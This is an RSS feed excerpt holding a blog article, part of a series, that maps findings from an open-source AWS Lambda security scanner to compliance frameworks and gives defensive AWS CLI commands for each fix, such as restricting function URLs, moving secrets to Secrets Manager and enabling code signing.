&lt;p&gt;&lt;strong&gt;&lt;em&gt;Sources&lt;/em&gt;&lt;/strong&gt; :  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Amazon Inspector: scanning AWS Lambda functions (standard and code scanning) (&lt;a href="https://docs.aws.amazon.com/inspector/latest/user/scanning-lambda.html" rel="noopener noreferrer"&gt;https://docs.aws.amazon.com/inspector/latest/user/scanning-lambda.html&lt;/a&gt;)
&lt;/li&gt;
&lt;li&gt;Amazon Inspector Lambda code scanning (&lt;a href="https://docs.aws.amazon.com/inspector/latest/user/scanning_resources_lambda_code.html" rel="noopener noreferrer"&gt;https://docs.aws.amazon.com/inspector/latest/user/scanning_resources_lambda_code.html&lt;/a&gt;)
&lt;/li&gt;
&lt;li&gt;Amazon Inspector: scanning Amazon ECR container images (&lt;a href="https://docs.aws.amazon.com/inspector/latest/user/scanning-ecr.html" rel="noopener noreferrer"&gt;https://docs.aws.amazon.com/inspector/latest/user/scanning-ecr.html&lt;/a&gt;)
&lt;/li&gt;
&lt;li&gt;Amazon GuardDuty Lambda Protection (&lt;a href="https://docs.aws.amazon.com/guardduty/latest/ug/lambda-protection.html" rel="noopener noreferrer"&gt;https://docs.aws.amazon.com/guardduty/latest/ug/lambda-protection.html&lt;/a&gt;)
&lt;/li&gt;
&lt;li&gt;Amazon GuardDuty Lambda Protection finding types (&lt;a href="https://docs.aws.amazon.com/guardduty/latest/ug/lambda-protection-finding-types.html" rel="noopener noreferrer"&gt;https://docs.aws.amazon.com/guardduty/latest/ug/lambda-protection-finding-types.html&lt;/a&gt;)
&lt;/li&gt;
&lt;li&gt;AWS Lambda: defined runtime environment variables (&lt;a href="https://docs.aws.amazon.com/lambda/latest/dg/configuration-envvars.html" rel="noopener noreferrer"&gt;https://docs.aws.amazon.com/lambda/latest/dg/configuration-envvars.html&lt;/a&gt;)
&lt;/li&gt;
&lt;li&gt;AWS Lambda: using the metadata endpoint (&lt;a href="https://docs.aws.amazon.com/lambda/latest/dg/configuration-metadata-endpoint.html" rel="noopener noreferrer"&gt;https://docs.aws.amazon.com/lambda/latest/dg/configuration-metadata-endpoint.html&lt;/a&gt;)
&lt;/li&gt;
&lt;li&gt;AWS Lambda: logging API calls with CloudTrail (data and management events) (&lt;a href="https://docs.aws.amazon.com/lambda/latest/dg/logging-using-cloudtrail.html" rel="noopener noreferrer"&gt;https://docs.aws.amazon.com/lambda/latest/dg/logging-using-cloudtrail.html&lt;/a&gt;)
&lt;/li&gt;
&lt;li&gt;OWASP Serverless Top 10 (&lt;a href="https://owasp.org/www-project-serverless-top-10/" rel="noopener noreferrer"&gt;https://owasp.org/www-project-serverless-top-10/&lt;/a&gt;)
&lt;/li&gt;
&lt;li&gt;OWASP ServerlessGoat (&lt;a href="https://github.com/OWASP/Serverless-Goat" rel="noopener noreferrer"&gt;https://github.com/OWASP/Serverless-Goat&lt;/a&gt;)
&lt;/li&gt;
&lt;li&gt;Powertools for AWS Lambda (&lt;a href="https://docs.powertools.aws.dev/lambda/" rel="noopener noreferrer"&gt;https://docs.powertools.aws.dev/lambda/&lt;/a&gt;)
&lt;/li&gt;
&lt;li&gt;Use Secrets Manager secrets in Lambda functions (SDK, extension, and Powertools approaches) (&lt;a href="https://docs.aws.amazon.com/lambda/latest/dg/with-secrets-manager.html" rel="noopener noreferrer"&gt;https://docs.aws.amazon.com/lambda/latest/dg/with-secrets-manager.html&lt;/a&gt;)
&lt;/li&gt;
&lt;li&gt;AWS Parameters and Secrets Lambda Extension (&lt;a href="https://docs.aws.amazon.com/secretsmanager/latest/userguide/retrieving-secrets_lambda.html" rel="noopener noreferrer"&gt;https://docs.aws.amazon.com/secretsmanager/latest/userguide/retrieving-secrets_lambda.html&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cloudsecurity</category>
      <category>aws</category>
      <category>awslambda</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>From Findings to Fixed: Lambda Compliance Mapping and Remediation</title>
      <dc:creator>Tarek CHEIKH</dc:creator>
      <pubDate>Sun, 07 Jun 2026 13:06:57 +0000</pubDate>
      <link>https://dev.to/tarekcheikh/from-findings-to-fixed-lambda-compliance-mapping-and-remediation-48op</link>
      <guid>https://dev.to/tarekcheikh/from-findings-to-fixed-lambda-compliance-mapping-and-remediation-48op</guid>
      <description>&lt;p&gt;&lt;strong&gt;&lt;em&gt;Part 3 of 4 in the Lambda Security Series&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fq9ppxru0jajs0dkf3uq6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fq9ppxru0jajs0dkf3uq6.png" width="800" height="800"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://medium.com/aws-in-plain-english/serverless-doesnt-mean-secure-the-state-of-aws-lambda-security-in-2026-234161754f90" rel="noopener noreferrer"&gt;Part 1&lt;/a&gt; described the risks. &lt;a href="https://medium.com/aws-in-plain-english/inside-lambda-security-scanner-19-checks-across-every-function-in-your-account-d0a8c44df110" rel="noopener noreferrer"&gt;Part 2&lt;/a&gt; introduced &lt;a href="https://github.com/TocConsulting/lambda-security-scanner" rel="noopener noreferrer"&gt;&lt;strong&gt;&lt;em&gt;lambda-security-scanner&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt; and the nineteen checks it runs against every function. This part closes the loop. A finding is only useful if it leads somewhere, and it usually needs to lead to two places: a compliance control that an auditor cares about, and a command that an engineer can run to make the finding go away. The scanner produces both.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why Compliance Maps to Serverless at All
&lt;/h3&gt;

&lt;p&gt;Compliance frameworks were mostly written before serverless existed, so people assume they do not apply. They do. The controls are about outcomes, not implementation. “Restrict network access between trusted and untrusted zones,” “authenticate access to system components,” “enforce least privilege,” and “retain audit logs” are all requirements that a Lambda function either meets or violates, regardless of the fact that there is no server to point at.&lt;/p&gt;

&lt;p&gt;The scanner evaluates each function against ten frameworks and reports which controls pass and which fail, per function. In total it maps to 81 controls:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;| Framework | Controls | Focus |
|------------------------------------------|----------|---------------------------------------|
| AWS Foundational Security Best Practices | 5 | Lambda-specific Security Hub controls |
| CIS AWS Compute Services Benchmark | 8 | Compute service hardening |
| PCI DSS v4.0.1 | 8 | Payment card data protection |
| HIPAA Security Rule | 9 | Healthcare data security |
| SOC 2 | 11 | Service organization controls |
| ISO 27001:2022 | 11 | Information security management |
| ISO 27017:2015 | 4 | Cloud-specific security controls |
| ISO 27018:2019 | 5 | Protection of PII in the cloud |
| GDPR | 8 | EU data protection |
| NIST SP 800-53 Rev5 | 12 | Federal security controls |
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;One honest note on the control identifiers, because credibility depends on it. Most frameworks use their real citations: HIPAA &lt;code&gt;**_164.312(a)(1)_**&lt;/code&gt;, ISO 27001 &lt;code&gt;**_A.5.15_**&lt;/code&gt;, SOC 2 &lt;code&gt;**_CC6.1_**&lt;/code&gt;, NIST &lt;code&gt;**_AC-3_**&lt;/code&gt;, and so on. The CIS entries are different. They map to the genuine CIS AWS Compute Services Benchmark guidance for Lambda, but the &lt;code&gt;**_CIS-Lambda.N_**&lt;/code&gt; identifiers are the scanner’s own labels, not the benchmark’s official recommendation numbers, which live under section 5. They are an alignment aid, not a verbatim citation. The scanner says so in its own documentation, and so do I.&lt;/p&gt;

&lt;h3&gt;
  
  
  How a Single Finding Becomes Compliance Evidence
&lt;/h3&gt;

&lt;p&gt;The mapping is many-to-many. One misconfiguration usually breaks several controls at once, which is exactly why these findings matter to an audit.&lt;/p&gt;

&lt;p&gt;Take a public function URL with &lt;code&gt;**_AuthType: NONE_**&lt;/code&gt;. That single finding fails an authentication control in PCI DSS, an access-restriction control in SOC 2, an access-control requirement in NIST 800–53, and the corresponding AWS FSBP Lambda control, all from one misconfiguration. Fix the one thing and several controls flip to passing together. The same is true in reverse for plaintext secrets, which touch data-protection requirements across PCI DSS, HIPAA, ISO 27018, and GDPR simultaneously.&lt;/p&gt;

&lt;p&gt;If you only need the posture and not the full security scan, run the compliance report on its own:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;lambda-security-scanner security &lt;span class="nt"&gt;--compliance-only&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That produces a per-function, per-framework breakdown of passed and failed controls, written as a JSON report on every run. It is the artifact to hand to an auditor or attach to a control review.&lt;/p&gt;

&lt;h3&gt;
  
  
  Fixing Every Finding
&lt;/h3&gt;

&lt;p&gt;The rest of this article is the remediation playbook: one fix per check, with the AWS CLI command to apply it. Run these against your own functions after a scan tells you which ones need them.&lt;/p&gt;

&lt;h4&gt;
  
  
  A.1: Update deprecated and blocked runtimes
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws lambda update-function-configuration &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--function-name&lt;/span&gt; my-function &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--runtime&lt;/span&gt; python3.13
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As of May 2026, examples of current supported runtimes are &lt;code&gt;**_nodejs24.x_**&lt;/code&gt;, &lt;code&gt;**_nodejs22.x_**&lt;/code&gt;, &lt;code&gt;**_python3.14_**&lt;/code&gt;, &lt;code&gt;**_python3.13_**&lt;/code&gt;, &lt;code&gt;**_java25_**&lt;/code&gt;, &lt;code&gt;**_java21_**&lt;/code&gt;, &lt;code&gt;**_dotnet10_**&lt;/code&gt;, &lt;code&gt;**_dotnet8_**&lt;/code&gt;, &lt;code&gt;**_ruby4.0_**&lt;/code&gt;, &lt;code&gt;**_ruby3.4_**&lt;/code&gt;, and &lt;code&gt;**_provided.al2023_**&lt;/code&gt;. Update before the runtime’s block-update date arrives, not after, because a blocked runtime can no longer be updated in place and forces a more disruptive migration.&lt;/p&gt;

&lt;h4&gt;
  
  
  A.2: Reduce the maximum timeout
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws lambda update-function-configuration &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--function-name&lt;/span&gt; my-function &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--timeout&lt;/span&gt; 30
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Set the timeout to what the function actually needs. A 900-second timeout on a function that finishes in three seconds means a stuck or abused invocation can burn compute for fifteen minutes before Lambda stops it.&lt;/p&gt;

&lt;h4&gt;
  
  
  A.3: Move secrets out of environment variables
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Store the secret in Secrets Manager&lt;/span&gt;
aws secretsmanager create-secret &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--name&lt;/span&gt; my-function/db-password &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--secret-string&lt;/span&gt; &lt;span class="s2"&gt;"MyPr0ductionP@ss!"&lt;/span&gt;

&lt;span class="c"&gt;# Replace the plaintext value with a reference&lt;/span&gt;
aws lambda update-function-configuration &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--function-name&lt;/span&gt; my-function &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--environment&lt;/span&gt; &lt;span class="s1"&gt;'{"Variables":{"DB_SECRET_ARN":"arn:aws:secretsmanager:us-east-1:123456789012:secret:my-function/db-password-AbCdEf"}}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then resolve the secret at runtime with &lt;code&gt;**_secretsmanager:GetSecretValue_**&lt;/code&gt;. The environment variable now holds a pointer, which is exactly the pattern the scanner treats as clean.&lt;/p&gt;

&lt;h4&gt;
  
  
  A.4: Reduce ephemeral storage
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws lambda update-function-configuration &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--function-name&lt;/span&gt; my-function &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--ephemeral-storage&lt;/span&gt; &lt;span class="s1"&gt;'{"Size": 512}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The default is 512 MB. If the function does not need more, do not allocate more. Larger scratch space increases what a compromised function can stage locally.&lt;/p&gt;

&lt;h4&gt;
  
  
  A.5: Review external layers
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws lambda get-function-configuration &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--function-name&lt;/span&gt; my-function &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--query&lt;/span&gt; &lt;span class="s2"&gt;"Layers[*].Arn"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Any layer owned by an account that is not yours runs arbitrary code inside your function with your function’s permissions. Confirm every external layer comes from a source you trust.&lt;/p&gt;

&lt;h4&gt;
  
  
  A.6: Enable X-Ray tracing
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws lambda update-function-configuration &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--function-name&lt;/span&gt; my-function &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--tracing-config&lt;/span&gt; &lt;span class="nv"&gt;Mode&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;Active
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  A.7: Configure a dead letter queue
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws sqs create-queue &lt;span class="nt"&gt;--queue-name&lt;/span&gt; my-function-dlq

aws lambda update-function-configuration &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--function-name&lt;/span&gt; my-function &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--dead-letter-config&lt;/span&gt; &lt;span class="nv"&gt;TargetArn&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;arn:aws:sqs:us-east-1:123456789012:my-function-dlq
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  B.1: Restrict the resource policy
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Remove the wildcard statement&lt;/span&gt;
aws lambda remove-permission &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--function-name&lt;/span&gt; my-function &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--statement-id&lt;/span&gt; public-access

&lt;span class="c"&gt;# Add a scoped permission instead&lt;/span&gt;
aws lambda add-permission &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--function-name&lt;/span&gt; my-function &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--statement-id&lt;/span&gt; api-gateway-invoke &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--action&lt;/span&gt; lambda:InvokeFunction &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--principal&lt;/span&gt; apigateway.amazonaws.com &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--source-arn&lt;/span&gt; arn:aws:execute-api:us-east-1:123456789012:myapi/&lt;span class="k"&gt;*&lt;/span&gt;/GET/resource
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  B.2: Secure function URLs
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Require signed requests&lt;/span&gt;
aws lambda update-function-url-config &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--function-name&lt;/span&gt; my-function &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--auth-type&lt;/span&gt; AWS_IAM

&lt;span class="c"&gt;# Or remove the function URL entirely&lt;/span&gt;
aws lambda delete-function-url-config &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--function-name&lt;/span&gt; my-function
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  B.3: Restrict CORS origins
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws lambda update-function-url-config &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--function-name&lt;/span&gt; my-function &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--cors&lt;/span&gt; &lt;span class="s1"&gt;'{"AllowOrigins":["https://myapp.example.com"]}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  B.4: Scope down execution roles
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Detach the overprivileged managed policy&lt;/span&gt;
aws iam detach-role-policy &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--role-name&lt;/span&gt; my-function-role &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--policy-arn&lt;/span&gt; arn:aws:iam::aws:policy/AdministratorAccess

&lt;span class="c"&gt;# Attach a least-privilege policy&lt;/span&gt;
aws iam attach-role-policy &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--role-name&lt;/span&gt; my-function-role &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--policy-arn&lt;/span&gt; arn:aws:iam::123456789012:policy/my-function-least-privilege
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Use IAM Access Analyzer to generate a least-privilege policy from the function’s actual CloudTrail activity, rather than guessing at the permission set.&lt;/p&gt;

&lt;h4&gt;
  
  
  B.5: Give each function its own role
&lt;/h4&gt;

&lt;p&gt;Each function should assume a role scoped to only what that function needs. Sharing one role across functions means a compromise of the weakest function inherits the access of all the others.&lt;/p&gt;

&lt;h4&gt;
  
  
  C.1: Attach a VPC when the function needs private resources
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws lambda update-function-configuration &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--function-name&lt;/span&gt; my-function &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--vpc-config&lt;/span&gt; &lt;span class="nv"&gt;SubnetIds&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;subnet-abc123,subnet-def456,SecurityGroupIds&lt;span class="o"&gt;=&lt;/span&gt;sg-12345678
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Not every function needs a VPC. Functions that reach databases, internal APIs, or other private resources do.&lt;/p&gt;

&lt;h4&gt;
  
  
  C.2: Span multiple Availability Zones
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws lambda update-function-configuration &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--function-name&lt;/span&gt; my-function &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--vpc-config&lt;/span&gt; &lt;span class="nv"&gt;SubnetIds&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;subnet-abc123,subnet-def456,SecurityGroupIds&lt;span class="o"&gt;=&lt;/span&gt;sg-12345678
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Provide subnets in at least two AZs. A single-AZ deployment goes down with that one AZ.&lt;/p&gt;

&lt;h4&gt;
  
  
  C.3: Restrict security group egress
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws ec2 revoke-security-group-egress &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--group-id&lt;/span&gt; sg-12345678 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--ip-permissions&lt;/span&gt; &lt;span class="s1"&gt;'[{"IpProtocol": "-1", "IpRanges": [{"CidrIp": "0.0.0.0/0"}]}]'&lt;/span&gt;

aws ec2 authorize-security-group-egress &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--group-id&lt;/span&gt; sg-12345678 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--ip-permissions&lt;/span&gt; &lt;span class="s1"&gt;'[{"IpProtocol": "tcp", "FromPort": 443, "ToPort": 443, "IpRanges": [{"CidrIp": "10.0.0.0/8"}]}]'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Replace allow-all outbound with the specific destinations the function needs. Unrestricted egress is how a compromised function exfiltrates data to anywhere.&lt;/p&gt;

&lt;h4&gt;
  
  
  D.1: Set log retention
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws logs put-retention-policy &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--log-group-name&lt;/span&gt; /aws/lambda/my-function &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--retention-in-days&lt;/span&gt; 90
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  D.2: Set reserved concurrency
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws lambda put-function-concurrency &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--function-name&lt;/span&gt; my-function &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--reserved-concurrent-executions&lt;/span&gt; 100
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This matters most for functions that are reachable from outside. Without a concurrency cap, an attacker who can invoke the function can invoke it without limit.&lt;/p&gt;

&lt;h4&gt;
  
  
  E.1: Enable code signing
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws signer put-signing-profile &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--profile-name&lt;/span&gt; my-signing-profile &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--platform-id&lt;/span&gt; AWSLambda-SHA384-ECDSA

aws lambda create-code-signing-config &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--allowed-publishers&lt;/span&gt; &lt;span class="nv"&gt;SigningProfileVersionArns&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;arn:aws:signer:us-east-1:123456789012:/signing-profiles/my-signing-profile &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--code-signing-policies&lt;/span&gt; &lt;span class="nv"&gt;UntrustedArtifactOnDeployment&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;Enforce

aws lambda put-function-code-signing-config &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--function-name&lt;/span&gt; my-function &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--code-signing-config-arn&lt;/span&gt; arn:aws:lambda:us-east-1:123456789012:code-signing-config:csc-abc123
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Set the policy to &lt;code&gt;**_Enforce_**&lt;/code&gt;, not &lt;code&gt;**_Warn_**&lt;/code&gt;. Warn logs an untrusted artifact and deploys it anyway.&lt;/p&gt;

&lt;h4&gt;
  
  
  E.2: Add failure destinations to event source mappings
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws lambda update-event-source-mapping &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--uuid&lt;/span&gt; my-esm-uuid &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--destination-config&lt;/span&gt; &lt;span class="s1"&gt;'{"OnFailure":{"Destination":"arn:aws:sqs:us-east-1:123456789012:my-function-esm-dlq"}}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Fix Them in This Order
&lt;/h3&gt;

&lt;p&gt;If you fix everything in score order, you fix the right things first. The scanner’s deductions already encode the priority:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Public access. A public resource policy and a public function URL each cost 25 points. Remove wildcard principals and require authentication on function URLs. Do this today.
&lt;/li&gt;
&lt;li&gt;Plaintext secrets. Worth 20 points without KMS. They are readable by anyone with a common configuration-read permission. Move them to Secrets Manager or SSM.
&lt;/li&gt;
&lt;li&gt;Overprivileged execution roles. An admin-equivalent role costs 20 points; service wildcards and privilege escalation cost 10. Scope them to least privilege.
&lt;/li&gt;
&lt;li&gt;Blocked runtimes at 15 points, then deprecated runtimes at 10. Blocked runtimes can no longer be patched at all. Deprecated runtimes have stopped receiving patches.
&lt;/li&gt;
&lt;li&gt;CORS and shared roles, 10 points each. Restrict origins and split shared roles into per-function roles.
&lt;/li&gt;
&lt;li&gt;Everything else: logging and retention, network controls, code signing, dead letter queues, tracing, and concurrency. Lower individual weight, but together they are the difference between a function you can investigate after an incident and one you cannot.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  One Layer Left
&lt;/h3&gt;

&lt;p&gt;Part 1 was the problem: serverless moved the attack surface closer to your code, and the misconfigurations are invisible until they are exploited. Part 2 was the tool: nineteen read-only checks, a score per function, and a clear list of what is wrong. This part was the payoff: every finding mapped to the compliance controls that care about it, and a command to fix each one.&lt;/p&gt;

&lt;p&gt;That covers the configuration layer completely, which is what lambda-security-scanner checks and what most teams get wrong first. But there is one layer no posture scanner reaches: the code that runs inside the function, the dependencies it ships, and the credentials it holds at runtime. A clean configuration scan and a vulnerable function are entirely compatible. Part 4 covers that application layer, and it is the difference between a competent Lambda security posture and a complete one.&lt;/p&gt;

&lt;p&gt;The project is open source under the MIT license:  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Source: &lt;a href="https://github.com/TocConsulting/lambda-security-scanner" rel="noopener noreferrer"&gt;https://github.com/TocConsulting/lambda-security-scanner&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Package: &lt;a href="https://pypi.org/project/lambda-security-scanner/" rel="noopener noreferrer"&gt;https://pypi.org/project/lambda-security-scanner/&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>cloudsecurity</category>
      <category>awslambda</category>
      <category>aws</category>
    </item>
    <item>
      <title>Inside lambda-security-scanner: 19 Checks Across Every Function in Your Account</title>
      <dc:creator>Tarek CHEIKH</dc:creator>
      <pubDate>Sat, 06 Jun 2026 21:34:09 +0000</pubDate>
      <link>https://dev.to/tarekcheikh/inside-lambda-security-scanner-19-checks-across-every-function-in-your-account-2m43</link>
      <guid>https://dev.to/tarekcheikh/inside-lambda-security-scanner-19-checks-across-every-function-in-your-account-2m43</guid>
      <description>&lt;p&gt;&lt;strong&gt;&lt;em&gt;Part 2 of 4 in the Lambda Security Series&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fk21kyda82y5nedkao4wp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fk21kyda82y5nedkao4wp.png" width="800" height="800"&gt;&lt;/a&gt;&lt;/p&gt;

